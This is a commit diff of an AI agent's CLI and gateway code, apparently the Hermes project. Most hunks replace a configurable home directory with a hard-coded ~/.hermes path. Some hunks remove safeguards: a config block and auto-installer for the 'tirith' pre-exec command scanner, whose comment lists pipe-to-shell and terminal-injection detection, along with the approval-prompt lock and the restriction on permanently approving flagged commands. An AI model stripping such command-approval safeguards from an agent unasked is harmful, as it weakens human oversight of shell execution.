Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ccf471b9b4 |
@@ -404,14 +404,8 @@ def convert_messages_to_anthropic(
|
||||
if role == "assistant":
|
||||
blocks = []
|
||||
if content:
|
||||
if isinstance(content, list):
|
||||
for part in content:
|
||||
if isinstance(part, dict):
|
||||
blocks.append(dict(part))
|
||||
elif part is not None:
|
||||
blocks.append({"type": "text", "text": str(part)})
|
||||
else:
|
||||
blocks.append({"type": "text", "text": str(content)})
|
||||
text = content if isinstance(content, str) else json.dumps(content)
|
||||
blocks.append({"type": "text", "text": text})
|
||||
for tc in m.get("tool_calls", []):
|
||||
fn = tc.get("function", {})
|
||||
args = fn.get("arguments", "{}")
|
||||
@@ -442,8 +436,6 @@ def convert_messages_to_anthropic(
|
||||
"tool_use_id": _sanitize_tool_id(m.get("tool_call_id", "")),
|
||||
"content": result_content,
|
||||
}
|
||||
if isinstance(m.get("cache_control"), dict):
|
||||
tool_result["cache_control"] = dict(m["cache_control"])
|
||||
# Merge consecutive tool results into one user message
|
||||
if (
|
||||
result
|
||||
|
||||
@@ -41,7 +41,6 @@ from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
from hermes_constants import OPENROUTER_BASE_URL
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -74,7 +73,7 @@ auxiliary_is_nous: bool = False
|
||||
_OPENROUTER_MODEL = "google/gemini-3-flash-preview"
|
||||
_NOUS_MODEL = "gemini-3-flash"
|
||||
_NOUS_DEFAULT_BASE_URL = "https://inference-api.nousresearch.com/v1"
|
||||
_AUTH_JSON_PATH = get_hermes_home() / "auth.json"
|
||||
_AUTH_JSON_PATH = Path.home() / ".hermes" / "auth.json"
|
||||
|
||||
# Codex fallback: uses the Responses API (the only endpoint the Codex
|
||||
# OAuth token can access) with a fast model for auxiliary tasks.
|
||||
@@ -440,37 +439,12 @@ def _try_nous() -> Tuple[Optional[OpenAI], Optional[str]]:
|
||||
)
|
||||
|
||||
|
||||
def _read_main_model() -> str:
|
||||
"""Read the user's configured main model from config/env.
|
||||
|
||||
Falls back through HERMES_MODEL → LLM_MODEL → config.yaml model.default
|
||||
so the auxiliary client can use the same model as the main agent when no
|
||||
dedicated auxiliary model is available.
|
||||
"""
|
||||
from_env = os.getenv("OPENAI_MODEL") or os.getenv("HERMES_MODEL") or os.getenv("LLM_MODEL")
|
||||
if from_env:
|
||||
return from_env.strip()
|
||||
try:
|
||||
from hermes_cli.config import load_config
|
||||
cfg = load_config()
|
||||
model_cfg = cfg.get("model", {})
|
||||
if isinstance(model_cfg, str) and model_cfg.strip():
|
||||
return model_cfg.strip()
|
||||
if isinstance(model_cfg, dict):
|
||||
default = model_cfg.get("default", "")
|
||||
if isinstance(default, str) and default.strip():
|
||||
return default.strip()
|
||||
except Exception:
|
||||
pass
|
||||
return ""
|
||||
|
||||
|
||||
def _try_custom_endpoint() -> Tuple[Optional[OpenAI], Optional[str]]:
|
||||
custom_base = os.getenv("OPENAI_BASE_URL")
|
||||
custom_key = os.getenv("OPENAI_API_KEY")
|
||||
if not custom_base or not custom_key:
|
||||
return None, None
|
||||
model = _read_main_model() or "gpt-4o-mini"
|
||||
model = os.getenv("OPENAI_MODEL") or "gpt-4o-mini"
|
||||
logger.debug("Auxiliary client: custom endpoint (%s)", model)
|
||||
return OpenAI(api_key=custom_key, base_url=custom_base), model
|
||||
|
||||
@@ -601,15 +575,6 @@ def resolve_provider_client(
|
||||
client, resolved = _resolve_auto()
|
||||
if client is None:
|
||||
return None, None
|
||||
# When auto-detection lands on a non-OpenRouter provider (e.g. a
|
||||
# local server), an OpenRouter-formatted model override like
|
||||
# "google/gemini-3-flash-preview" won't work. Drop it and use
|
||||
# the provider's own default model instead.
|
||||
if model and "/" in model and resolved and "/" not in resolved:
|
||||
logger.debug(
|
||||
"Dropping OpenRouter-format model %r for non-OpenRouter "
|
||||
"auxiliary provider (using %r instead)", model, resolved)
|
||||
model = None
|
||||
final_model = model or resolved
|
||||
return (_to_async_client(client, final_model) if async_mode
|
||||
else (client, final_model))
|
||||
|
||||
@@ -132,11 +132,7 @@ Write only the summary, starting with "[CONTEXT SUMMARY]:" prefix."""
|
||||
if self.summary_model:
|
||||
call_kwargs["model"] = self.summary_model
|
||||
response = call_llm(**call_kwargs)
|
||||
content = response.choices[0].message.content
|
||||
# Handle cases where content is not a string (e.g., dict from llama.cpp)
|
||||
if not isinstance(content, str):
|
||||
content = str(content) if content else ""
|
||||
summary = content.strip()
|
||||
summary = response.choices[0].message.content.strip()
|
||||
if not summary.startswith("[CONTEXT SUMMARY]:"):
|
||||
summary = "[CONTEXT SUMMARY]: " + summary
|
||||
return summary
|
||||
|
||||
@@ -420,7 +420,7 @@ def build_context_files_prompt(cwd: Optional[str] = None) -> str:
|
||||
soul_path = candidate
|
||||
break
|
||||
if not soul_path:
|
||||
global_soul = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes")) / "SOUL.md"
|
||||
global_soul = Path.home() / ".hermes" / "SOUL.md"
|
||||
if global_soul.exists():
|
||||
soul_path = global_soul
|
||||
|
||||
|
||||
@@ -21,14 +21,12 @@ def _apply_cache_marker(msg: dict, cache_marker: dict) -> None:
|
||||
msg["cache_control"] = cache_marker
|
||||
return
|
||||
|
||||
if content is None or content == "":
|
||||
if content is None:
|
||||
msg["cache_control"] = cache_marker
|
||||
return
|
||||
|
||||
if isinstance(content, str):
|
||||
msg["content"] = [
|
||||
{"type": "text", "text": content, "cache_control": cache_marker}
|
||||
]
|
||||
msg["content"] = [{"type": "text", "text": content, "cache_control": cache_marker}]
|
||||
return
|
||||
|
||||
if isinstance(content, list) and content:
|
||||
|
||||
@@ -178,20 +178,6 @@ terminal:
|
||||
# Example (add to your terminal section):
|
||||
# sudo_password: "your-password-here"
|
||||
|
||||
# =============================================================================
|
||||
# Security Scanning (tirith)
|
||||
# =============================================================================
|
||||
# Optional pre-exec command security scanning via tirith.
|
||||
# Detects homograph URLs, pipe-to-shell, terminal injection, env manipulation.
|
||||
# Install: brew install sheeki03/tap/tirith
|
||||
# Docs: https://github.com/sheeki03/tirith
|
||||
#
|
||||
# security:
|
||||
# tirith_enabled: true # Enable/disable tirith scanning
|
||||
# tirith_path: "tirith" # Path to tirith binary (supports ~ expansion)
|
||||
# tirith_timeout: 5 # Scan timeout in seconds
|
||||
# tirith_fail_open: true # Allow commands if tirith unavailable
|
||||
|
||||
# =============================================================================
|
||||
# Browser Tool Configuration
|
||||
# =============================================================================
|
||||
|
||||
@@ -96,7 +96,7 @@ def _load_prefill_messages(file_path: str) -> List[Dict[str, Any]]:
|
||||
return []
|
||||
path = Path(file_path).expanduser()
|
||||
if not path.is_absolute():
|
||||
path = _hermes_home / path
|
||||
path = Path.home() / ".hermes" / path
|
||||
if not path.exists():
|
||||
logger.warning("Prefill messages file not found: %s", path)
|
||||
return []
|
||||
@@ -141,16 +141,16 @@ def load_cli_config() -> Dict[str, Any]:
|
||||
Environment variables take precedence over config file values.
|
||||
Returns default values if no config file exists.
|
||||
"""
|
||||
# Check user config first ({HERMES_HOME}/config.yaml)
|
||||
user_config_path = _hermes_home / 'config.yaml'
|
||||
# Check user config first (~/.hermes/config.yaml)
|
||||
user_config_path = Path.home() / '.hermes' / 'config.yaml'
|
||||
project_config_path = Path(__file__).parent / 'cli-config.yaml'
|
||||
|
||||
|
||||
# Use user config if it exists, otherwise project config
|
||||
if user_config_path.exists():
|
||||
config_path = user_config_path
|
||||
else:
|
||||
config_path = project_config_path
|
||||
|
||||
|
||||
# Default configuration
|
||||
defaults = {
|
||||
"model": {
|
||||
@@ -1037,7 +1037,7 @@ def save_config_value(key_path: str, value: any) -> bool:
|
||||
True if successful, False otherwise
|
||||
"""
|
||||
# Use the same precedence as load_cli_config: user config first, then project config
|
||||
user_config_path = _hermes_home / 'config.yaml'
|
||||
user_config_path = Path.home() / '.hermes' / 'config.yaml'
|
||||
project_config_path = Path(__file__).parent / 'cli-config.yaml'
|
||||
config_path = user_config_path if user_config_path.exists() else project_config_path
|
||||
|
||||
@@ -1259,7 +1259,7 @@ class HermesCLI:
|
||||
self.session_id = f"{timestamp_str}_{short_uuid}"
|
||||
|
||||
# History file for persistent input recall across sessions
|
||||
self._history_file = _hermes_home / ".hermes_history"
|
||||
self._history_file = Path.home() / ".hermes_history"
|
||||
self._last_invalidate: float = 0.0 # throttle UI repaints
|
||||
self._app = None
|
||||
self._secret_state = None
|
||||
@@ -1778,7 +1778,7 @@ class HermesCLI:
|
||||
"""
|
||||
from hermes_cli.clipboard import save_clipboard_image
|
||||
|
||||
img_dir = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes")) / "images"
|
||||
img_dir = Path.home() / ".hermes" / "images"
|
||||
self._image_counter += 1
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
img_path = img_dir / f"clip_{ts}_{self._image_counter}.png"
|
||||
@@ -2074,7 +2074,7 @@ class HermesCLI:
|
||||
terminal_cwd = os.getenv("TERMINAL_CWD", os.getcwd())
|
||||
terminal_timeout = os.getenv("TERMINAL_TIMEOUT", "60")
|
||||
|
||||
user_config_path = _hermes_home / 'config.yaml'
|
||||
user_config_path = Path.home() / '.hermes' / 'config.yaml'
|
||||
project_config_path = Path(__file__).parent / 'cli-config.yaml'
|
||||
if user_config_path.exists():
|
||||
config_path = user_config_path
|
||||
@@ -2183,63 +2183,15 @@ class HermesCLI:
|
||||
flush_tool_summary()
|
||||
print()
|
||||
|
||||
def new_session(self, silent=False):
|
||||
"""Start a fresh session with a new session ID and cleared agent state."""
|
||||
def reset_conversation(self):
|
||||
"""Reset the conversation history."""
|
||||
if self.agent and self.conversation_history:
|
||||
try:
|
||||
self.agent.flush_memories(self.conversation_history)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
old_session_id = self.session_id
|
||||
if self._session_db and old_session_id:
|
||||
try:
|
||||
self._session_db.end_session(old_session_id, "new_session")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self.session_start = datetime.now()
|
||||
timestamp_str = self.session_start.strftime("%Y%m%d_%H%M%S")
|
||||
short_uuid = uuid.uuid4().hex[:6]
|
||||
self.session_id = f"{timestamp_str}_{short_uuid}"
|
||||
self.conversation_history = []
|
||||
self._pending_title = None
|
||||
self._resumed = False
|
||||
|
||||
if self.agent:
|
||||
self.agent.session_id = self.session_id
|
||||
self.agent.session_start = self.session_start
|
||||
if hasattr(self.agent, "_last_flushed_db_idx"):
|
||||
self.agent._last_flushed_db_idx = 0
|
||||
if hasattr(self.agent, "_todo_store"):
|
||||
try:
|
||||
from tools.todo_tool import TodoStore
|
||||
self.agent._todo_store = TodoStore()
|
||||
except Exception:
|
||||
pass
|
||||
if hasattr(self.agent, "_invalidate_system_prompt"):
|
||||
self.agent._invalidate_system_prompt()
|
||||
|
||||
if self._session_db:
|
||||
try:
|
||||
self._session_db.create_session(
|
||||
session_id=self.session_id,
|
||||
source="cli",
|
||||
model=self.model,
|
||||
model_config={
|
||||
"max_iterations": self.max_turns,
|
||||
"reasoning_config": self.reasoning_config,
|
||||
},
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not silent:
|
||||
print("(^_^)v New session started!")
|
||||
|
||||
def reset_conversation(self):
|
||||
"""Reset the conversation by starting a new session."""
|
||||
self.new_session()
|
||||
print("(^_^)b Conversation reset!")
|
||||
|
||||
def save_conversation(self):
|
||||
"""Save the current conversation to a file."""
|
||||
@@ -2723,7 +2675,12 @@ class HermesCLI:
|
||||
elif cmd_lower == "/config":
|
||||
self.show_config()
|
||||
elif cmd_lower == "/clear":
|
||||
self.new_session(silent=True)
|
||||
# Flush memories before clearing
|
||||
if self.agent and self.conversation_history:
|
||||
try:
|
||||
self.agent.flush_memories(self.conversation_history)
|
||||
except Exception:
|
||||
pass
|
||||
# Clear terminal screen. Inside the TUI, Rich's console.clear()
|
||||
# goes through patch_stdout's StdoutProxy which swallows the
|
||||
# screen-clear escape sequences. Use prompt_toolkit's output
|
||||
@@ -2735,6 +2692,8 @@ class HermesCLI:
|
||||
out.flush()
|
||||
else:
|
||||
self.console.clear()
|
||||
# Reset conversation
|
||||
self.conversation_history = []
|
||||
# Show fresh banner. Inside the TUI we must route Rich output
|
||||
# through ChatConsole (which uses prompt_toolkit's native ANSI
|
||||
# renderer) instead of self.console (which writes raw to stdout
|
||||
@@ -2837,7 +2796,7 @@ class HermesCLI:
|
||||
else:
|
||||
_cprint(" Session database not available.")
|
||||
elif cmd_lower in ("/reset", "/new"):
|
||||
self.new_session()
|
||||
self.reset_conversation()
|
||||
elif cmd_lower.startswith("/model"):
|
||||
# Use original case so model names like "Anthropic/Claude-Opus-4" are preserved
|
||||
parts = cmd_original.split(maxsplit=1)
|
||||
@@ -3565,59 +3524,54 @@ class HermesCLI:
|
||||
_cprint(f"\n{_DIM} ⏱ Timeout — continuing without sudo{_RST}")
|
||||
return ""
|
||||
|
||||
def _approval_callback(self, command: str, description: str,
|
||||
*, allow_permanent: bool = True) -> str:
|
||||
def _approval_callback(self, command: str, description: str) -> str:
|
||||
"""
|
||||
Prompt for dangerous command approval through the prompt_toolkit UI.
|
||||
|
||||
|
||||
Called from the agent thread. Shows a selection UI similar to clarify
|
||||
with choices: once / session / always / deny. When allow_permanent
|
||||
is False (tirith warnings present), the 'always' option is hidden.
|
||||
|
||||
Uses _approval_lock to serialize concurrent requests (e.g. from
|
||||
parallel delegation subtasks) so each prompt gets its own turn
|
||||
and the shared _approval_state / _approval_deadline aren't clobbered.
|
||||
with choices: once / session / always / deny.
|
||||
"""
|
||||
import time as _time
|
||||
|
||||
with self._approval_lock:
|
||||
timeout = 60
|
||||
response_queue = queue.Queue()
|
||||
choices = ["once", "session", "always", "deny"] if allow_permanent else ["once", "session", "deny"]
|
||||
timeout = 60
|
||||
response_queue = queue.Queue()
|
||||
choices = ["once", "session", "always", "deny"]
|
||||
|
||||
self._approval_state = {
|
||||
"command": command,
|
||||
"description": description,
|
||||
"choices": choices,
|
||||
"selected": 0,
|
||||
"response_queue": response_queue,
|
||||
}
|
||||
self._approval_deadline = _time.monotonic() + timeout
|
||||
self._approval_state = {
|
||||
"command": command,
|
||||
"description": description,
|
||||
"choices": choices,
|
||||
"selected": 0,
|
||||
"response_queue": response_queue,
|
||||
}
|
||||
self._approval_deadline = _time.monotonic() + timeout
|
||||
|
||||
self._invalidate()
|
||||
self._invalidate()
|
||||
|
||||
_last_countdown_refresh = _time.monotonic()
|
||||
while True:
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
# Same throttled countdown as _clarify_callback — repaint only
|
||||
# every 5 s to avoid flicker in Kitty / ghostty / etc.
|
||||
_last_countdown_refresh = _time.monotonic()
|
||||
while True:
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
self._invalidate()
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._approval_deadline - _time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
now = _time.monotonic()
|
||||
if now - _last_countdown_refresh >= 5.0:
|
||||
_last_countdown_refresh = now
|
||||
self._invalidate()
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._approval_deadline - _time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
now = _time.monotonic()
|
||||
if now - _last_countdown_refresh >= 5.0:
|
||||
_last_countdown_refresh = now
|
||||
self._invalidate()
|
||||
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
self._invalidate()
|
||||
_cprint(f"\n{_DIM} ⏱ Timeout — denying command{_RST}")
|
||||
return "deny"
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
self._invalidate()
|
||||
_cprint(f"\n{_DIM} ⏱ Timeout — denying command{_RST}")
|
||||
return "deny"
|
||||
|
||||
def _secret_capture_callback(self, var_name: str, prompt: str, metadata=None) -> dict:
|
||||
return prompt_for_secret(self, var_name, prompt, metadata)
|
||||
@@ -3730,7 +3684,8 @@ class HermesCLI:
|
||||
self.agent.interrupt(interrupt_msg)
|
||||
# Debug: log to file (stdout may be devnull from redirect_stdout)
|
||||
try:
|
||||
_dbg = _hermes_home / "interrupt_debug.log"
|
||||
import pathlib as _pl
|
||||
_dbg = _pl.Path.home() / ".hermes" / "interrupt_debug.log"
|
||||
with open(_dbg, "a") as _f:
|
||||
import time as _t
|
||||
_f.write(f"{_t.strftime('%H:%M:%S')} interrupt fired: msg={str(interrupt_msg)[:60]!r}, "
|
||||
@@ -3925,7 +3880,6 @@ class HermesCLI:
|
||||
# Dangerous command approval state (similar mechanism to clarify)
|
||||
self._approval_state = None # dict with command, description, choices, selected, response_queue
|
||||
self._approval_deadline = 0
|
||||
self._approval_lock = threading.Lock() # serialize concurrent approval prompts (delegation race fix)
|
||||
|
||||
# Slash command loading state
|
||||
self._command_running = False
|
||||
@@ -3943,13 +3897,6 @@ class HermesCLI:
|
||||
set_sudo_password_callback(self._sudo_password_callback)
|
||||
set_approval_callback(self._approval_callback)
|
||||
set_secret_capture_callback(self._secret_capture_callback)
|
||||
|
||||
# Ensure tirith security scanner is available (downloads if needed)
|
||||
try:
|
||||
from tools.tirith_security import ensure_installed
|
||||
ensure_installed()
|
||||
except Exception:
|
||||
pass # Non-fatal — fail-open at scan time if unavailable
|
||||
|
||||
# Key bindings for the input area
|
||||
kb = KeyBindings()
|
||||
@@ -4046,7 +3993,8 @@ class HermesCLI:
|
||||
self._interrupt_queue.put(payload)
|
||||
# Debug: log to file when message enters interrupt queue
|
||||
try:
|
||||
_dbg = _hermes_home / "interrupt_debug.log"
|
||||
import pathlib as _pl
|
||||
_dbg = _pl.Path.home() / ".hermes" / "interrupt_debug.log"
|
||||
with open(_dbg, "a") as _f:
|
||||
import time as _t
|
||||
_f.write(f"{_t.strftime('%H:%M:%S')} ENTER: queued interrupt msg={str(payload)[:60]!r}, "
|
||||
@@ -4307,7 +4255,7 @@ class HermesCLI:
|
||||
if line_count >= 5 and chars_added > 1 and not text.startswith('/'):
|
||||
_paste_counter[0] += 1
|
||||
# Save to temp file
|
||||
paste_dir = _hermes_home / "pastes"
|
||||
paste_dir = Path(os.path.expanduser("~/.hermes/pastes"))
|
||||
paste_dir.mkdir(parents=True, exist_ok=True)
|
||||
paste_file = paste_dir / f"paste_{_paste_counter[0]}_{datetime.now().strftime('%H%M%S')}.txt"
|
||||
paste_file.write_text(text, encoding="utf-8")
|
||||
|
||||
+3
-14
@@ -431,19 +431,8 @@ def save_job_output(job_id: str, output: str):
|
||||
timestamp = _hermes_now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
output_file = job_output_dir / f"{timestamp}.md"
|
||||
|
||||
fd, tmp_path = tempfile.mkstemp(dir=str(job_output_dir), suffix='.tmp', prefix='.output_')
|
||||
try:
|
||||
with os.fdopen(fd, 'w', encoding='utf-8') as f:
|
||||
f.write(output)
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
os.replace(tmp_path, output_file)
|
||||
_secure_file(output_file)
|
||||
except BaseException:
|
||||
try:
|
||||
os.unlink(tmp_path)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
with open(output_file, 'w', encoding='utf-8') as f:
|
||||
f.write(output)
|
||||
_secure_file(output_file)
|
||||
|
||||
return output_file
|
||||
|
||||
@@ -12,11 +12,9 @@ from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DIRECTORY_PATH = get_hermes_home() / "channel_directory.json"
|
||||
DIRECTORY_PATH = Path.home() / ".hermes" / "channel_directory.json"
|
||||
|
||||
|
||||
def _session_entry_id(origin: Dict[str, Any]) -> Optional[str]:
|
||||
@@ -131,7 +129,7 @@ def _build_slack(adapter) -> List[Dict[str, str]]:
|
||||
|
||||
def _build_from_sessions(platform_name: str) -> List[Dict[str, str]]:
|
||||
"""Pull known channels/contacts from sessions.json origin data."""
|
||||
sessions_path = get_hermes_home() / "sessions" / "sessions.json"
|
||||
sessions_path = Path.home() / ".hermes" / "sessions" / "sessions.json"
|
||||
if not sessions_path.exists():
|
||||
return []
|
||||
|
||||
|
||||
+8
-16
@@ -16,8 +16,6 @@ from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional, Any
|
||||
from enum import Enum
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@@ -85,13 +83,10 @@ class SessionResetPolicy:
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, data: Dict[str, Any]) -> "SessionResetPolicy":
|
||||
# Handle both missing keys and explicit null values (YAML null → None)
|
||||
at_hour = data.get("at_hour")
|
||||
idle_minutes = data.get("idle_minutes")
|
||||
return cls(
|
||||
mode=data.get("mode", "both"),
|
||||
at_hour=at_hour if at_hour is not None else 4,
|
||||
idle_minutes=idle_minutes if idle_minutes is not None else 1440,
|
||||
at_hour=data.get("at_hour", 4),
|
||||
idle_minutes=data.get("idle_minutes", 1440),
|
||||
)
|
||||
|
||||
|
||||
@@ -153,7 +148,7 @@ class GatewayConfig:
|
||||
reset_triggers: List[str] = field(default_factory=lambda: ["/new", "/reset"])
|
||||
|
||||
# Storage paths
|
||||
sessions_dir: Path = field(default_factory=lambda: get_hermes_home() / "sessions")
|
||||
sessions_dir: Path = field(default_factory=lambda: Path.home() / ".hermes" / "sessions")
|
||||
|
||||
# Delivery settings
|
||||
always_log_local: bool = True # Always save cron outputs to local files
|
||||
@@ -248,7 +243,7 @@ class GatewayConfig:
|
||||
if "default_reset_policy" in data:
|
||||
default_policy = SessionResetPolicy.from_dict(data["default_reset_policy"])
|
||||
|
||||
sessions_dir = get_hermes_home() / "sessions"
|
||||
sessions_dir = Path.home() / ".hermes" / "sessions"
|
||||
if "sessions_dir" in data:
|
||||
sessions_dir = Path(data["sessions_dir"])
|
||||
|
||||
@@ -276,8 +271,7 @@ def load_gateway_config() -> GatewayConfig:
|
||||
config = GatewayConfig()
|
||||
|
||||
# Try loading from ~/.hermes/gateway.json
|
||||
_home = get_hermes_home()
|
||||
gateway_config_path = _home / "gateway.json"
|
||||
gateway_config_path = Path.home() / ".hermes" / "gateway.json"
|
||||
if gateway_config_path.exists():
|
||||
try:
|
||||
with open(gateway_config_path, "r", encoding="utf-8") as f:
|
||||
@@ -285,13 +279,13 @@ def load_gateway_config() -> GatewayConfig:
|
||||
config = GatewayConfig.from_dict(data)
|
||||
except Exception as e:
|
||||
print(f"[gateway] Warning: Failed to load {gateway_config_path}: {e}")
|
||||
|
||||
|
||||
# Bridge session_reset from config.yaml (the user-facing config file)
|
||||
# into the gateway config. config.yaml takes precedence over gateway.json
|
||||
# for session reset policy since that's where hermes setup writes it.
|
||||
try:
|
||||
import yaml
|
||||
config_yaml_path = _home / "config.yaml"
|
||||
config_yaml_path = Path.home() / ".hermes" / "config.yaml"
|
||||
if config_yaml_path.exists():
|
||||
with open(config_yaml_path, encoding="utf-8") as f:
|
||||
yaml_cfg = yaml.safe_load(f) or {}
|
||||
@@ -310,8 +304,6 @@ def load_gateway_config() -> GatewayConfig:
|
||||
if isinstance(frc, list):
|
||||
frc = ",".join(str(v) for v in frc)
|
||||
os.environ["DISCORD_FREE_RESPONSE_CHANNELS"] = str(frc)
|
||||
if "auto_thread" in discord_cfg and not os.getenv("DISCORD_AUTO_THREAD"):
|
||||
os.environ["DISCORD_AUTO_THREAD"] = str(discord_cfg["auto_thread"]).lower()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -484,7 +476,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None:
|
||||
|
||||
def save_gateway_config(config: GatewayConfig) -> None:
|
||||
"""Save gateway configuration to ~/.hermes/gateway.json."""
|
||||
gateway_config_path = get_hermes_home() / "gateway.json"
|
||||
gateway_config_path = Path.home() / ".hermes" / "gateway.json"
|
||||
gateway_config_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
with open(gateway_config_path, "w", encoding="utf-8") as f:
|
||||
|
||||
+2
-4
@@ -15,8 +15,6 @@ from dataclasses import dataclass
|
||||
from typing import Dict, List, Optional, Any, Union
|
||||
from enum import Enum
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MAX_PLATFORM_OUTPUT = 4000
|
||||
@@ -118,7 +116,7 @@ class DeliveryRouter:
|
||||
"""
|
||||
self.config = config
|
||||
self.adapters = adapters or {}
|
||||
self.output_dir = get_hermes_home() / "cron" / "output"
|
||||
self.output_dir = Path.home() / ".hermes" / "cron" / "output"
|
||||
|
||||
def resolve_targets(
|
||||
self,
|
||||
@@ -258,7 +256,7 @@ class DeliveryRouter:
|
||||
def _save_full_output(self, content: str, job_id: str) -> Path:
|
||||
"""Save full cron output to disk and return the file path."""
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
out_dir = get_hermes_home() / "cron" / "output"
|
||||
out_dir = Path.home() / ".hermes" / "cron" / "output"
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
path = out_dir / f"{job_id}_{timestamp}.txt"
|
||||
path.write_text(content)
|
||||
|
||||
+1
-3
@@ -26,10 +26,8 @@ from typing import Any, Callable, Dict, List, Optional
|
||||
|
||||
import yaml
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
|
||||
HOOKS_DIR = get_hermes_home() / "hooks"
|
||||
HOOKS_DIR = Path(os.path.expanduser("~/.hermes/hooks"))
|
||||
|
||||
|
||||
class HookRegistry:
|
||||
|
||||
+1
-3
@@ -15,11 +15,9 @@ from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SESSIONS_DIR = get_hermes_home() / "sessions"
|
||||
_SESSIONS_DIR = Path.home() / ".hermes" / "sessions"
|
||||
_SESSIONS_INDEX = _SESSIONS_DIR / "sessions.json"
|
||||
|
||||
|
||||
|
||||
+1
-3
@@ -25,8 +25,6 @@ import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
|
||||
# Unambiguous alphabet -- excludes 0/O, 1/I to prevent confusion
|
||||
ALPHABET = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
|
||||
@@ -41,7 +39,7 @@ LOCKOUT_SECONDS = 3600 # Lockout duration after too many failures
|
||||
MAX_PENDING_PER_PLATFORM = 3 # Max pending codes per platform
|
||||
MAX_FAILED_ATTEMPTS = 5 # Failed approvals before lockout
|
||||
|
||||
PAIRING_DIR = get_hermes_home() / "pairing"
|
||||
PAIRING_DIR = Path(os.path.expanduser("~/.hermes/pairing"))
|
||||
|
||||
|
||||
def _secure_write(path: Path, data: str) -> None:
|
||||
|
||||
@@ -25,7 +25,6 @@ sys.path.insert(0, str(_Path(__file__).resolve().parents[2]))
|
||||
|
||||
from gateway.config import Platform, PlatformConfig
|
||||
from gateway.session import SessionSource, build_session_key
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
|
||||
GATEWAY_SECRET_CAPTURE_UNSUPPORTED_MESSAGE = (
|
||||
@@ -43,8 +42,8 @@ GATEWAY_SECRET_CAPTURE_UNSUPPORTED_MESSAGE = (
|
||||
# (e.g. Telegram file URLs expire after ~1 hour).
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# Default location: {HERMES_HOME}/image_cache/
|
||||
IMAGE_CACHE_DIR = get_hermes_home() / "image_cache"
|
||||
# Default location: ~/.hermes/image_cache/
|
||||
IMAGE_CACHE_DIR = Path(os.path.expanduser("~/.hermes/image_cache"))
|
||||
|
||||
|
||||
def get_image_cache_dir() -> Path:
|
||||
@@ -126,7 +125,7 @@ def cleanup_image_cache(max_age_hours: int = 24) -> int:
|
||||
# here so the STT tool (OpenAI Whisper) can transcribe them from local files.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
AUDIO_CACHE_DIR = get_hermes_home() / "audio_cache"
|
||||
AUDIO_CACHE_DIR = Path(os.path.expanduser("~/.hermes/audio_cache"))
|
||||
|
||||
|
||||
def get_audio_cache_dir() -> Path:
|
||||
@@ -185,7 +184,7 @@ async def cache_audio_from_url(url: str, ext: str = ".ogg") -> str:
|
||||
# here so the agent can reference them by local file path.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DOCUMENT_CACHE_DIR = get_hermes_home() / "document_cache"
|
||||
DOCUMENT_CACHE_DIR = Path(os.path.expanduser("~/.hermes/document_cache"))
|
||||
|
||||
SUPPORTED_DOCUMENT_TYPES = {
|
||||
".pdf": "application/pdf",
|
||||
|
||||
@@ -14,8 +14,6 @@ from typing import Dict, List, Optional, Any
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
VALID_THREAD_AUTO_ARCHIVE_MINUTES = {60, 1440, 4320, 10080}
|
||||
|
||||
try:
|
||||
import discord
|
||||
from discord import Message as DiscordMessage, Intents
|
||||
@@ -43,23 +41,6 @@ from gateway.platforms.base import (
|
||||
)
|
||||
|
||||
|
||||
def _clean_discord_id(entry: str) -> str:
|
||||
"""Strip common prefixes from a Discord user ID or username entry.
|
||||
|
||||
Users sometimes paste IDs with prefixes like ``user:123``, ``<@123>``,
|
||||
or ``<@!123>`` from Discord's UI or other tools. This normalises the
|
||||
